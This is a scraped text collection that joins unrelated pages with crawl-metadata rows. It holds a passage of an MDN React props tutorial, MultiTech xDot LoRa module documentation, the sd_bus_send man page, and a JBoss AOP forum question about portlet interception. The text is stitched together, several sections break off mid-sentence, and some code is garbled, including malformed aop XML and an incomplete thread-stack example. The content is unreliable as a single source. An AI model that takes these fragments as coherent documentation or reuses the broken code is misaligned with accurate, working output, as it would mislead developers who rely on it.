Clarice corresponds to its value. Component props in React are always collected into objects in this fashion.
Now that
subject is one of our props, let's utilize it in
App.js. Change the
subject constant so that, instead of defining it as the string
React, you are reading the value of
props.subject. You can also delete your
console.log() if you want.
function App(props) { const subject = props.subject; return ( // return statement ); }
When you save, the the app should now greet you with "Hello, Clarice!". If you return to
index.js, edit the value of
subject, and save, your text will change.
Summary
This brings us to the end of our initial look at React, including how to install it locally, creating a starter app, and how the basics work. In the next article we'll start building our first proper application — a todo list. Before we do that, however, let's recap some of the things we’ve learned.
In React:
- Components can import modules they need, and must export themselves at the bottom of their files.
- Component functions are named with
PascalCase.
- You can read JSX variables by putting them between curly braces, like
{so}.
- Some JSX attributes are different to HTML attributes, so that they don't conflict with JavaScript reserved words. For example,
classin HTML translates to
classNamein JSX. Note that multi-word attributes are camel-cased.
- Props are written just like attributes inside component calls, and are passed into | https://developer.mozilla.org/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started | CC-MAIN-2021-10 | refinedweb | 3,187 | 63.9 |
MultiTech xDot
The MultiConnect® xDot™ is a low cost, low power LoRa Module.
Table of Contents
Overview¶ and Europe.
xDots bring intelligence, reduced complexity and a lower overall bill of material cost to the very edge of the network while supporting a variety of electronic interfaces to connect just about any “Thing” for years on battery power.
KEY BENEFITS¶
- Excellent performance in harsh radio environments
- Range of miles
- Deep in-building penetration - 1 to 3 miles / 2 km
- Developer friendly to integrate and quickly deploy assets
- Run for years on battery power
FEATURES¶
- FCC/CE end-certified with ARM® mbed™ libraries for developers
- LoRa™ Alliance certified (pending)
- Optional Gemalto secure element for AES-128 cryptographic encryption
- 2-way duplex communication, ideal for emergency or mission-critical applications
- Multiple I/O interfaces for most any "Thing"
- LoRaWAN data rates 293bps - 20 Kbps + FSK up to 300Kbps
xDots can be purchased as standalone modules for design-in or mounted on the xDot-DK developer our wiki page for more information.).
Radio Compliance
MultiTech has certified the x.
xDot Pinout Diagram¶
The pinout diagram above shows the commonly used interfaces and their locations. In addition to their stated functions, all GPIO pins (PA_*, PB_*) xDot. External pullup or pulldown resistors should be used instead.
For more information see the notes below section 6.3.1 of the STM32L151CC Data Sheet..
xDot-DK Pinout Diagram¶
The table on the right maps xDot-DK pin names to xDot pin names where they differ.
xDot-DK Features¶
- xDot-DK Onboard Sensors
- xDot-DK Form factor
- Approximately 2" x 1.5"
- 5V USB power or 2.41V to 3.57V external power
- Please see the xDot Developer Guide if powering DK from external power
- On-board Debug and Programming Interface Circuit
- [USB MSC] Drag-n-drop programming
- [USB CDC] USB Serial Port
- [USB HID] CMSIS-DAP
LoRa Stack (libxD
Development and production builds of the Dot Library currently only support the ARM and GCC_ARM toolchains. The IAR toolchain is not supported at this time.
xDot Library Limitations
The commit messages in libxDot-mbed5 and libxD.
The xDot library is built against the mbed-os library (mbed 5) and is not compaible with the mbed/mbed-rtos (mbed 2). Compiling libxDot with mbed 2 will result in build failure.
Stable Production Build¶
This build of libxDot is stable, tested, and suitable for deployment scenarios. It is hosted on mbed and GitHub for convenience.
Import librarylibxDot-mbed5
Stable version of the xDot library for mbed 5. This version of the library is suitable for deployment scenarios.
Bleeding Edge Development Build¶
This build of libxDot contains bug fixes and new feature development which may not be complete. It is not guaranteed to be stable or well-tested and is not suitable for deployment scenarios. It is hosted on mbed and GitHub for convenience.
Import librarylibxDot-dev-mbed5
Bleeding edge development version of the xDot library for mbed 5. This version of the library is not guaranteed to be stable or well tested and should not be used in production or deployment scenarios.
Limited System Memory
Due to limited system memory, stack sizes on the xDot are smaller than mbed defaults.
- Default main thread/other threads: 4kB/2kB
- xDot main thread/other threads: 1.5kB/256B
It is possible to allocate a custom stack and pass it to a thread when it is created. The code snippet below demonstrates how to do this.
Create a thread with a custom stack
#include "mbed.h" // create a 2kB stack for the thread uint8_t t1_stack[2048]; // xDot ships from the factory pre-loaded with our custom AT Command Firmware. This firmware provides a serial AT command interface for configuring and using the xDot. This firmware is great during development for testing LoRa transmissions and in production when using a separate host processor that controls the mDot via AT commands. It is available here. AT command documentation is available here.
Offline IDE¶
It is possible to compile for the xDot and debug them on the xDot using the Eclipse IDE. See our wiki page for more information.
Interface Firmware¶
The xDot-DK has DAPLink interface firmware. Interface firmware for the xDot-DK will be included in DAPLink releases. To update the interface firmware on your xDot-DK, follow these steps:
- Download the latest release from DAPLink releases.
- Extract the zip file.
- While holding down the reset button, plug the xDot-DK into your PC. After a drive called MAINTENANCE enumerates, the reset button can be released.
- Drag and drop the new firmware onto the MAINTENANCE drive. The firmware name should be of the form <daplink version>_k20dx_xDot_0x8000.bin.
- After the new firmware programs, the XDOT drive should appear. The DETAILS.TXT file should reflect the new DAPLink firmware version.:
- XDOT_L151CC: mbed-os-example-blinky_xdot_l151cc
Import programmbed-os-example-blinky
This is a very simple guide, reviewing the steps required to get Blinky working on an mbed OS platform.
Where Next¶
Follow the guide to creating your own programs using the online compiler
Please log in to start a discussion or ask a question.
Discussion topics
Questions
5 months, 3 weeks ago
1 year, 1 month ago
10 months, 2 weeks ago
1 year, 4 months ago
1 year, 5 months ago | https://os.mbed.com/platforms/MTS-xDot-L151CC/ | CC-MAIN-2018-51 | refinedweb | 876 | 55.74 |
Archived talk:Raiko 20090429
- Sub-pages:
- Raiko - Version History - Archived Talk 20090429
Cool. It seems strong. But it lacks a flag. Is it a secret where you are from? =) -- PEZ
I'm from... several places. But let it fight under the Irish flag. It needs one defender in the Rumble!
Very impressive indeed! Congratulations and welcome. (or should i say "badcome" since my bot had been overcame? :^))) -- Axe
A splash entry indeed. I'm not sure I have the flag of the Ireland around. It might take a while to find it. -- PEZ
By the way, Raiko's movement seems to have the same problems that Musashi have against bots like Barracuda. I (and other people too) think that is a weakness near GF 0.0 -- Axe
Thanks guys! :-) It's performing even better than I'd hoped against the top ten (well saved data helps, but this is vale tudo, heh). Now if I can just fix these problem bots. And the indomnitable VertiLeech... ;-)
Axe, yes, seems our movements are pretty similar in concept! Damn, I thought I'd created something original. ;-) I suspect the problem is more subtle than a spike at GF 0; most of my spikes are around .7 or .8. I think that this type of movement mostly produces a mountain-profile, i.e. a peak with the other visits evenly distributed to either side. As a result averaging the offsets is just as good as full-blown guess factors, and learning is faster.
I also had some other interlocking problems with Barracuda and others;
- Segmentation on the last time a bullet stopped doesn't work well on bots which don't move continuously, or which change velocity to flatten their profile. In fact it just introduces junk noise.
- Barracuda segments based on distance from walls and corners, which is a big problem area still.
- Barracuda and FloodMicro use dynamic distancing. My movement is only flat at a certain range, and they were slipping inside and taking advantage. Melee bots were also a problem because they tend to run away and get outside my combat range.
- I was maintaining the wrong distance, because I couldn't multiply 160 by three. Duh... :p
My current development version is no longer vulnerable to these bots, but we'll see if I've introduced any other problems. Teach me not to do all my testing vs the top ten. :\ 0.12 coming soon... - Jamougha
You are pretty observant for a newbie. =) I also think Barracuda is able to expose more than vulnerability to head-on targeting. Maybe Shadow too has some particular distance where it is vulnerable to head-on and then Barracuda finds that distance and leads ABC to think it's a more general problem? Testing against the top-10 isn't wrong. Only the very best (read Paul and iiley) can afford thinking about performance against the weaker bots as well. -- PEZ
- Or those who want to be among the very best. I say agian: Beat everyone else as well as they do, then beat them. Lacrimas is a case study of this. He can beat DT 1-v-1 but is still #2 overall because he can not beat everyone else. It may seem counter intuative, but I suspect that beating everyone else will be easier than beating SandboxDT and Lacrimas. -- jim
- It doesn't beat DT in short battles, does it? DT is undefeated in PremierLeague. I think you get forward a good bot faster by testing against top-10 than bottom-10 or a mixed-10. Besides, it's cool with a newbie who aims that high. =) -- PEZ
- The approach I have always taken is to focus on the bots that I perform worse than expected against. One nice side affect of fighting these bots is that they sometimes seem to be geneticaly engineered to take advantage of some weakness that I did not know existed. The first one that I can clearly remember was Aroura. It had the nasty habit of cornering me. The next one was one of the early versions of one of the Flood* bots. Those could pin me to a wall. Next set were some of the tobe.* bots (particularly Gravitron). But as VertiLeach and Jekyl clearly point out, there is more than one road to the top (and neither of ours has been completely successful so far) so feel free to chose your own path. -- jim
- I count VertiLeach as a complete success. It was made to be a competetive mini. Getting the #1 mini is way, way beyond my expectations. If Verti is not a complete success I don't know what is. -- PEZ
My philosophy is, try to beat everyone... :-) While it's great to optimize movement against only the best, guns involve a lot of voodoo. I've ended up with one gun which apparently hits DT more than it hits many bots around 30th in the rankings. Fun, but not useful (in a mini...) -- Jamougha
Good philosphy. =) But still you'll have to decide what bots to test against. I think it's movement where you can make your bot extra strong against the weak while maintaing strength against the strong. And I also think movement holds more voodoo than targeting. =) Do you mean above that segmenting on time since enemy was stationary worked against Tityus 0.6.0? I'm curious, because I would guess that T 0.6.0 changes velocity about as often as it is stationary. -- PEZ
That segment appeared to make all the difference, yes, though my movement is also a small factor. Unfortunately I only noticed the new release as I was about to make mine, and ended up staying up till dawn trying to fix it; no luck, though. I either loose against you or about 5 bots way down the mini rankings.
And I've noticed that you're a movement queen. ;-) Marshmallow has always seemed unhittable, with an absolutely beautiful profile, but gets a consistently worse hit rate vs one of my movements than head-on targeting. Bizzare...
You are the second to tell me Marshmallow is a good movement bot. Yet, that movement was too complicated. I always fail to port it to other bots without it losing whatever it is that makes it good. I think it might be a bug actually. ... And it's guns are too complicated too. Good against some bots, but can be tricked badly by some movements... It's good at catching bad wall movement and if you don't have that the guns are more or less worthless. So, my new Tityus movement is vulnerable to segmentation on time since stationary? That might explain why it's problem bot list looks like it does. I have no clue how to fix that weakness though so I'll have to live with it a while I guess. At the movement I find some comfort in that 0.6.1 manages to keep some points ahead of Raiko. =) -- PEZ
One way to fix that is probably to have T stop dead every so often. Raiko finds this an bewildering habit. :-) However since no-one uses that as a segment AFAIK I think you'll be pretty safe. And 0.6.1's movement is too damn good anyway! - Jamougha
The difficulty of that segmentation is granularity, but it helps against Iiley's bots, and I can only assume it helps against the FloodMovement. However, time since stationary might be too simplistic - I think time since a change in velocity at all might be more effective against FloodMini, and against a goto-style bot (like Iiley's and PEZ's are), even time since a change in direction (or change in velocity). Empirically, 3 or 4 segments where the highest one is the amount of time for a bullet to reach the enemy or more is about the right number. I have yet to actually release a bot that uses that, though (but it fits in the dev FloodMini, if I choose to include it). -- Kawigi
Swiffer uses a segment like that, though it uses change in lateral velocity and time, making it a combined acceleration and "time since velocity change" segment. It exploited a weakness in DT 2.31 movement and made Swiffer beat that DT. Paul somehow knew how to fix that weakness though. I could only enjoy beating DT in battle for half a day ... -- PEZ
Hah, so I'm not alone on that seg. Kawigi, unfortunately I haven't found that it helps against flood-style movement; in fact just the reverse, it actually decreases peformance. Actually not much I do works well against Flood movement :\. I'll try messing with the granularity, though, and see if things improve. Mostly I've found it works best against bots which move at top speed all the time.
PEZ, coincidence, I started using it when I did all my testing vs DT 2.31 :-) works well vs the Duelist series, too. - Jamougha
I don't think you should revert back to 0.1. They seem about equal in strength and you probably need very little tweaking on 0.12 to get it to pass 0.1. -- PEZ
Not perchance because it got trashed by everything you ever wrote? ;-)
Anyway, I posted 0.14 just before you wrote, so it's a bit late. :-) 0.12 was a dicey proposition in the first place. By the time I'd seen it's position I was working on a more promising fork, so I decided I'd rather be back in the mini-top ten in the meantime. Now it's fingers crossed for the new version... - Jamougha
I don't mind my bots trashing yours. =) However, I have great experience in revoking good bots too early. So take this advice of mine and wait for your bot to get some 500 battles under it's belt in the rumble before deciding what to do with it. -- PEZ
Fair enough; I admit I'm still blundering about like a bull in a china shop while trying to make improvements, so there may well be some good ideas in there. I'll let 0.14 settle for a bit. And who knows... there's just about enough space there to implement a virtual gun. 0.12 may yet see it's revenge. - Jamougha
Hmmm... well I'm postponing my decision about 0,14's ranking, but this is nice while it lasts :-
- pe.SandboxDT_2.41 54.0 1 31-12-2003:1:12 37.2 16.7
- pe.SandboxLump_1.52 52.8 1 31-12-2003:0:39 47.5 5.2
- pe.mini.SandboxMini_1.2 64.2 1 31-12-2003:1:30 57.5 6.7
Way cool. Way cool! -- PEZ
It seems Raiko is strong against quite a few strong bots. A question; You have a static method looking like this:
private static double maxEscapeAngle(double bulletVelocity) { return 1.2*Math.asin(MAX_VELOCITY / bulletVelocity); }
What's the 1.2 about?
Also I found I improved the Tityus gun when I didn't do:
bearingDirection = deltaBearing < 0 ? -1 : 1;
but instead:
if (deltaBearing < 0) { bearingDirection = -1; } else if (deltaBearing > 0) { bearingDirection = 1; }
That is, if the enemy is stationary I keep the bearingDirection it previously had. On the other hand; I did this to be able to better hit stop-and-go bots like the Cigarets and Tityus 0.4 -> 0.5. Yet you seem to hit this movement better than I so I might try it your way instead...
Well again the saved data help, but it beats 3-4 of the top ten with clean files, given enough rounds. Not sure why I introduced such a huge problem against some bots, though.
Didn't I say I multiplied everything by 1.2 for the hell of it? ;-) OK, I'm not sure if that factor actually helps. However when I hooked RoboGrapher up to Raiko's gun I noticed that there seemed to be some overhang, with bots moving more than a 1.0 guess factor, so I put in 1.2* to be able to see the full graph. Then I never got around to taking it out. :-\ I intended to go through the code and figure out if it was a bug or not, but haven't had time yet.
I'll definitely try your gun modification, it make a lot of sense. I think the reason Raiko hits Cigaret so much is the near-wall segment; I had the same experience as Kawigi mentioned on Tityus' page. - Jamougha
A GF of more than 1 is certainly a bug. I avoid that bug by simply checking the GF as soon as it is calculated and if it is more than 1 or less than -1 I make it exactly 1 or -1. -- Tango
That doesn't fix the bug though. It only makes your bot not crash (which is of course an improvement anyway). I had that overhang problem with RoboGrapherBot a while, but I managed to fix it. Don't remember what it was though. I'll let you know if it comes back to me. -- PEZ
Indeed. I "avoid" the bug, rather than fix it. I don't know how often it happens, i should probably check, i have a feeling i fixed it, so i could remove the checks... -- Tango
Well, I don't think you should remove them. Even if you fix the bug, sometimes, I don't know why, you get indexes outside the range. Maybe it is because of lost scans or something. Here's a tiny function you can use to force a value inside a range:
private static double minMax(double v, double min, double max) { return (Math.max(Math.min(v, max), min)); }
It adds clarity I think. and it also saves codesize if you need to use it more than once. Use it like so to increment a visitcount:
visitCounts[minMax(index, 0, NUM_INDEXES - 1)]++;
I belive i only use it once, so i would stick with putting the code inline, i think. The only reason i would remove it altogether was if i decided to make it a mini/micro/nanobot and needed the bytes. -- Tango
In my code I multiplied that asin by 1.2 as well, but eventually tweaked it down to 1.15. I'm not sure what the actual value is, but I believe it has to do with poor research into the geometry of the "maximum escape angle". The asin(MAX_VELOCITY / bulletVelocity) works only if the maximum escape angle is reached by perpendicular motion (to transcribe the base of an isoceles triangle). I believe the problem has to do with bots moving toward you instead of perpendicular to you, and it might also (mayyyybe) have something to do with the discrete nature of Robocode physics. If anyone wants to sit down and puzzle out the actual solution to this problem, I would definitely like to hear the answer. -- nano
- I did this some time ago but was promptly told that the problem didn't exist and I was an idiot. Your mileage may vary. -- Kuuran
Look at iileys bots for code where someone has given the thing more thought. -- PEZ
The culprit is always either the discrete tick-based movement or missed scans (I suppose it could also possibly be using invalid bullet velocities, but I assume you would have made checks to get that right). The Math.asin(MAX_VELOCITY/bulletVelocity) is the max escape angle. You won't get to as far of an angle if you don't move perpendicular to the direction to the enemy when he fired. It is also possible to just be one tick off in tracing the wave. The max escape angle with any direction of movement can be found using the law of sines, but the key variable is the sine of that angle (the one between the direction you move in and the one to the enemy). The peak of the sine function is at 90 degrees, as does the function. -- Kawigi
You have managed to make Raiko stronger again. Congrats! -- PEZ
Thanks! :-) Now I have to go tweak it vs Tityus, BlackDestroyer and Griffon, lol. -Jamougha
Hey what did you feed Raiko 0.2? Impressive! -- PEZ
Very impressive indeed! -- ABC
What did he feed? That's easy: our bots... :) Congrats, Jamougha!!! -- Axe
Woohoo, cheers! :-) I don't think it will stabilize there, lol. However the movement is completely untweaked since I changed it's strategy, so there's some room for improvement. All I've done is make it more wall-fearing and given it a truly stupid movement at close range. - Jamougha
You mean "less" wall fearing, in'it? -- PEZ
I think that Musashi needs some stupid moving at close range too. I've been a total failure at close ranges, never getting it flat... Unbelievable. So, or the movement get stupid, or i get less stupid. (Stupid phrase, i know!) :) -- Axe
Ah! The "No fear from the walls" thing! We were talking about this at PEZ's RandomMovementBot. -- Axe
PEZ, nope, it should be more wall-fearing (unless it's just a bug :p) as it now changes direction when the approach angle is less than Math.PI/3 inside distance 400. Stops me ramming the other bot.
Axe, yup, I think it's a problem with this type of movement generally - it's very hard to flatten it at all ranges.
Oh, and cheers PEZ for the flag! :-) - Jamougha
You are right that the movement still has to be tweaked. RoboGrapher tells me it's rather weak against power 3 bullets at mid to long ranges. Seeing how well Raiko does, this tells me two things. 1) It might have been a mistake to focus on higher powered bullets. 2) Raiko's gun must be quite strong. Actually three things.3) Raiko can go very, very far if you tweak that movement. -- PEZ
Pre-learned data also helps... ;) -- ABC
Not that there is much pre-learnt data in the bot package, so I don't think it makes a very big difference. -- PEZ
Problem-bot data can make a big difference, like Musashi demonstrated. And how is data on 41 bots "not much"? Not that I'm complaining, it's stil a valid tactic... -- ABC
It's not 41 rumble bots. And it's not much compared to VertiLeach and Griffon and some others. We would need to see an empty Raiko to know how much difference it makes though. -- PEZ
Yup, saved data helps a bunch. ;-) It's not high quality, mostly 50 - 100 rounds a bot, but with a heavily segmented gun it's useful. I'm also curious about how it would do without it, but... not that curious. :-) Ah well, down to sixth. The tweaked version will have to wait a few days. - Jamougha
You have got rid of the wall segmentation too, haven't you? And what about that granularity thing in time-since-stationary? Tell, tell. =) -- PEZ
OK, ok. :-) The wall segmentation is still there, it's just more obfuscated. (I was trying to reduce codesize so that I could fit DynamicSegmentation in.) The time-since-stationary segment is governed by the vSegment method. It calculates timeSinceLastChange/(enemyDistance/bulletVelocity) and segments at values of .2, .6, and 1, 4 segments in total. Thanks again to Kawigi for the suggestion. :-) I also reverted to segmenting on distance, not bullet travel time. Because of the way the bullet power is chosen everything was being squashed into two segments, and dissimilar cases were overlaping. As a result the 250-300 values were badly contaminated, and I couldn't reliably hit bots which change ranges around this value. I'm going to have to find a way to balance that out, though, because it causes problems against several strong bots. You'll notice in now looses to Sedan, something which hasn't happened in my testing since 0.1.
Btw, I just graphed the profile and I was shocked. If I'd seen it then I'd never have released this version! I suspect the reason it works (sort of) is that only low-ranked bots spend any real time in the near-range segment... most of those use either head-on or average-offset-targeting, and the spike at 1.0 obviously works against head-on, while average-offset targeters are firing at the foot of the peak. I guess it's not whether a profile is flat, it's whether the opponent can hit it or not. ;-)
I've also just realised that my grapher is segmenting every 140 clicks, and my movement modifiers are segmenting every 160. Er, perhaps that explains why trying to improve near-range movement always messed up the wrong segment. :-\ Tweaking should be a bit easier from now on. - Jamougha
Tityus chooses a given bullet power for a given distance index so that it shouldn't need segment on bullet power. Segmenting on bullet travel time is a bit like doing bullet power segmentation. -- PEZ
You're right, and it's an elegant solution. The reason I switched to bullet travel time was to deal accurately with the cases where I'm firing based on the opponent's energy. Those are often the most critical, and they can contaminate the other data if e.g. I fire lots of 1.1 value bullets at the 300-range in the third round. - Jamougha
I don't know if those shots are often most critical. If the enemy is low on energy you will eventually kill it even if you don't have data collected for those bullets. My bots usually don't collect data for bullets below a certain bullet power (or in some cases if the fired bullet has a lower power than the default power for a certain distance). That way you do not contaminate the data for start and mid game. -- PEZ
BTW. It's scary to see Raiko's MiniBot rating raise as it does right now... It will soon pass VertiLeach I think. That's no fun! -- PEZ
There you go, it's gone down again since you said that. ;-) Your number one spot is safe, I think... maybe in the next release. But Vertileach is hard to unstick... <groan>
Raiko is currently ceasing data collection when it's firing low-power bullets, but with a 5-segment gun I'm keen enough to collect all the data I can. I'll give the whole thing some more though when I have time; I'm a sucker for trying to create 'optimal' solutions. - Jamougha
I know that feeling. It's worth exploring all paths of course. Sometime I feel like I have. But I probably sometimes explore a strategy or technique and do it the wrong way and then draw the wrong conclusions. That's what cool with a new mind in the game. Anyway, you might try with a four way gun and see if the faster learning pays in the RoboRumble tournament format. -- PEZ
Man! 1894 after 380+ battles. I knew you would make the jump if you applied Axe's trick, but this high?? Now I am pretty sure I will lose my mini-crown too. I really needed some sleep tonight! -- PEZ
iiley picked a nice time to release a broken Lacrimas, too. ;-) I'll have to give you another few days before the next version, university is murderous at the moment. - Jamougha
Congrats man!! But if u have used my trick, u at least should had the decency of sending me a bottle of a fine irish wiskey!! What a shame... -- Axe
I surely deserve that bottle, look at you LRP graph (If u need i'll send my adress for the posting)!! -- Axe
Lol, thanks Axe, I definitely wouldn't be there without you. Mail me the address and I'll send you a bottle next time I'm not broke. ;-) - Jamougha
I don't know about the "I definitely wouldn't be there without you", i am anly interested in that irish wiskey. Consider it a deal, please send the bottle when u become not broken, ok? -- Axe
A discussion worthy of the BeerPoet. =) I sure wouldn't mind a dram or two of some 12 year Bushmill malt. -- PEZ
Bushmill's, huh? Not a bad choice, even if I do say it is a Vodka drinker. ;-) Go on then, send me an address and I'll get round to that too. (Damn you've both caught me in a good mood! :p) - Jamougha
Bushmill's is one of my very favourites among whiskeys. Very oily and with a lot of fruitiness to its after taste. -- PEZ
Hey, why don't you sign Raiko up in the RobocodeLittleLeague? I bet it would rule the mini 1v1 division. For a while at least. Until I have gotten Tityus where I want it. =) -- PEZ
Err, LittleLeague? Ah, OK.. yes, I'll get around to that, thanks. :-) But probably after I see what you have up your sleeve with 0.9.5. That's a nice graph on the Shadow page... - Jamougha
Relax. I have trashed that development track. I couldn't get the profile any flat when clear of the walls. Strange, very strange... I'm working with a new system now. It will take a little longer than usual for me to get next version out. -- PEZ
I say. Raiko 0.3. WOW! -- PEZ
Aaargh, this is torture... it keeps skipping above and below Paul... make up your mind, silly bot... :-) we'll see where it settles. - JamoughaStill, this is a milestone in Robocode bot development. A MiniBot fightingfor the #2 spot with SandboxDT!!!! I like to see things like this:
Fighting battle 26 ... jam.mini.Raiko 0.3,pe.SandboxDT 2.41 RESULT = jam.mini.Raiko 0.3 wins 2718 to 2487
Hehe, cool :-) 1918 with 400+ battles, it just *might* stay at #2 until the next DT. :-) And still with 50 bytes to play with... - Jamougha
Mini Rankings <--- is anyone else not seeing Raiko there? -- Kuuran
This usually happens - it takes a while longer for the mini rankings to update. I just checked the codesize at 1453, so it should show up later. - Jamougha
The delay you're talking about is while it waits for it's first match against a mini. It's already run 600+ matches at the time of that writing and fought most of the minis in the minirumble. -- Kuuran
True - however I've often noticed bots fighting more than 400 battles without appearing in the minibot rankings, then showing up with only 30 battles fought. Of course I have no idea how RoboRumble works, so I've no idea why this should be so. - Jamougha
If someone is running RR set to "General" maybe it only uploads to Roborumble and not the mini leagues? No clue why else that might happen. Albert? -- Kuuran
Congrats, the second to overcome DT! Things are getting tougher and tougher... -- Axe
I see nothing wrong with the mini ranking table. In fact it looks "cured" somehow. =) -- PEZ
The premier leagues also seem to be slow to update. -- Alcatraz
Yes, they are. Only updated twice a day. -- PEZ
There is a problem with Robocode security manager that prevents RR@H to check the robot codesize once the first iteration has runed. It can happen then that the battles used for the general ranking are not used with the mini ranking. The only work around is to stop the client and start it again. -- Albert
Top result from a mini bot, congrats - looks like a rating of 2000 must be possible. Good news, my contract has finished and I am unemployed, I can now spend some time on DT :) - perhaps I can reach the 2000 mark first. -- Paul
Good news? If I could I would employ you myself. =) -- PEZ
I have two suggestions for what you could do with those 509 bytes left.
- Stop Raiko from embarassing itself on arenas != 800X600
- Make Raiko hit disabled opponents
The first change won't win you more points in RR@H, but the second change might. -- PEZ
Raiko 0.3 is my worst result: 37%. Sure that is a good bot, what a hell did u feed it with (excluding our bots, of course)? -- Axe
Paul, thanks. :-) There's still some optimization to be done on this movement, as 0.3 still doesn't react quite right to enemy bullet power. The dev version has a much nicer profile against DT. :-)
PEZ, oops, I say I'll fix it against disabled opponents every version and never do it. This time. :-)
Axe, it's all it the movement. ;-) -- Jamougha
I imagine. The movement is allways my weak point, i'm a complete failure... :( Probably is that the reason of my cheap tricks, i have to fill the weakness with something... Btw: that Raiko is not AM? If it isn't, i think that it is probably the greatest "pure moving" ever! Imagine: beating DT without AM... And with a mini... Wow. -- Axe
Nope, no AM - unless you count the MusashiTrick, of course. ;-)
The movement of Raiko is simply great and so small. A nano with this movement is absolutely no problem. If you think of it perhaps you can do something with this: RaikoNano. -- rozu
Would you care to share some of the theory behind Raiko's movement? Particularly why you settled on a 1 - x^x curve for probability of direction change and why you chose the x you did? I'm really curious as to why this works so well.. -- Kuuran
Ah, OK... well, it's a simple statistical idea. First assume that you can't get the negative guess factors flat. (After some e-mails with PEZ and a bit of testing I think this is probably not true in general, but it probably is true for a constant-probability-of-turning movement) This allows us to create a boundary condition on flatness, which is that the probability of getting to the edge of the escape area is roughly proportional to 1/n, where n is the number of ticks before a bullet arrives. (That is, the probability of getting to the edge of the escape area should be the same as the probability of getting to any other positive guessfactor.)
If the probability of not turning on a given tick is p, then the probability of not turning in the next n ticks is p^n. This is also the probability of reaching the edge of the escape area.
Equating these conditions :-
p^n = 1/n
=> p = (1/n)^(1/n)
So I knew that for a movement with a constant probability of turning each tick to be truly flat, it had to follow something like that formula. Some simulations indicated that it would flatten well enough, thanks to the fact that it takes time to turn, which smooths out the mid-range positive guessfactors.
Unfortunately I never tuned it properly when I first started, and got sidetracked for Raiko 0.1->0.22, but Tityus 0.9.1 gave me an incentive to get it to work right. :-)
There are different ways to achieve the same result with other movement types, but I'll leave those as an exercise for the reader. ;-) -- Jamougha | http://robowiki.net/wiki/Raiko/Archived_Talk_20090429 | CC-MAIN-2017-30 | refinedweb | 5,249 | 75.4 |
Converts a UTF-8 string to lower case.
#include "slapi-plugin.h" unsigned char *slapi_UTF-8STRTOLOWER(char *s);
This function takes the following parameter:
A NULL terminated UTF-8 string to be converted to lower case.
This function returns a pointer to a NULL terminated UTF-8 string whose characters are converted to lower case. Characters which are not upper case are copied as is. If the string is not found to be a UTF-8 string, this function returns NULL.
This function converts a string of multiple UTF-8 characters, and not a single character, as in slapi_UTF-8TOLOWER().
The output string is allocated, and needs to be released when it is no longer needed. | http://docs.oracle.com/cd/E19261-01/820-2764/6nebhspjg/index.html | CC-MAIN-2014-23 | refinedweb | 116 | 56.15 |
i am new to c++ and I keep getting the same value for variable 'w'..
#include <iostream>
#include <string>
#define NOEXE 10
#define winit 0.9
#define wfinal 0.2
int main()
{
for (int nExeNo = 0; nExeNo<NOEXE; nExeNo++)
{
double w;
w = (((NOEXE - nExeNo)/NOEXE)*((NOEXE - nExeNo)/NOEXE))*(winit - wfinal) + wfinal;
std::cout << w << "\n";
}
}
0.9
0.2
0.2
0.2 .......
(NOEXE - nExeNo)/NOEXE is done entirely in integer arithmetic. Since
nExeNo < NOEXE the entire previous expression is always zero.
Thus you are left only with the final term
wfinal.
To force floating point arithmetic, at least one operand must be of a floating point type (in your case a double). So to clean up, and get rid of the nasty macros, define your constants as follows:
constexpr int NOEXE = 10; // use const instead of constexpr for C++03 constexpr double NOEXE_D = NOEXE; constexpr double winit = 0.9; constexpr double wfinal = 0.2;
And use
NOEXE_D in the calculation instead. I.e.
(NOEXE_D - nExeNo)/NOEXE_D). | https://codedump.io/share/nCMZsHGbQGZq/1/why-do-i-keep-getting-the-same-value-of-a-variable-for-each-iteration-c | CC-MAIN-2020-40 | refinedweb | 167 | 66.23 |
sd_bus_send, sd_bus_send_to, sd_bus_message_send — Queue a D-Bus message for transfer
#include <systemd/sd-bus.h>.
sd_bus_message_send() is the same as
sd_bus_send() but
without the first and last argument.
sd_bus_message_send(m) is equivalent to
sd_bus_send(sd_bus_message_get_bus(m), m, NULL).
On success, these functions return a non-negative integer. On failure, they return a negative errno-style error code.
Returned errors may indicate the following problems:
-EINVAL¶
The input parameter
m is
NULL.
-EOPNOTSUPP¶
The bus connection does not support sending file descriptors.
-ECHILD¶
The bus connection was allocated in a parent process and is being reused in a child
process after
fork().
-ENOBUFS¶
The bus connection's write queue is full.
-ENOTCONN¶
The input parameter
bus is
NULL or the bus is not connected.
-ECONNRESET¶
The bus connection was closed while waiting for the response.
-ENOMEM¶
Memory allocation failed.
These APIs are implemented as a shared
library, which can be compiled and linked to with the
libsystemd pkg-config(1)
file. | https://www.freedesktop.org/software/systemd/man/sd_bus_message_send.html | CC-MAIN-2021-21 | refinedweb | 160 | 59.9 |
Hello everyone,
probably my question is very stiuped but I'm just start studying JBoss AOP....
So, I would like to use Jboss AOP together with Portlet (IPC). I have to use Jetspeed as Apache server (it is not my mind - it is part of my task..)
Well I have created simple application where AOP stuff should be used every time when the doView portlet's metod is called. The ANT compiles my project in Ecllipce without any error ant it can be deployed on Jetspeed. But... I have not got any results from AOP. It looks like AOP's functions do not call at all.
Source code below:
public class AOPTestAspect { public Object run(MethodInvocation invocation) throws Throwable { try { System.out.println("Hello from Aspect"); return invocation.invokeNext(); } finally { } }}
public class IPCEAOPPortlet extends javax.portlet.GenericPortlet{ public void doView(javax.portlet.RenderRequest request, javax.portlet.RenderResponse response) throws javax.portlet.PortletException, java.io.IOException { response.setContentType("text/html"); response.getWriter().println("Hello world!"); }}
jboss-aop looks like
<aop> <aspect/>class="AOPTestAspect<aspect>
<bind pointcut="execution(void IPCEAOPPortlet->doView(..))"> <around aspect="aoptest.AOPTestAspect" name="run"></around> </bind> </aop>
Could anybody to explane me where I maek a misprints?
Probably there is a clear explanation in docs or are there examples of AOP's using with portlets?
Thanks a lot,
Alexey
Retrieving data ... | https://community.jboss.org/message/555689?tstart=0 | CC-MAIN-2014-10 | refinedweb | 222 | 51.95 |
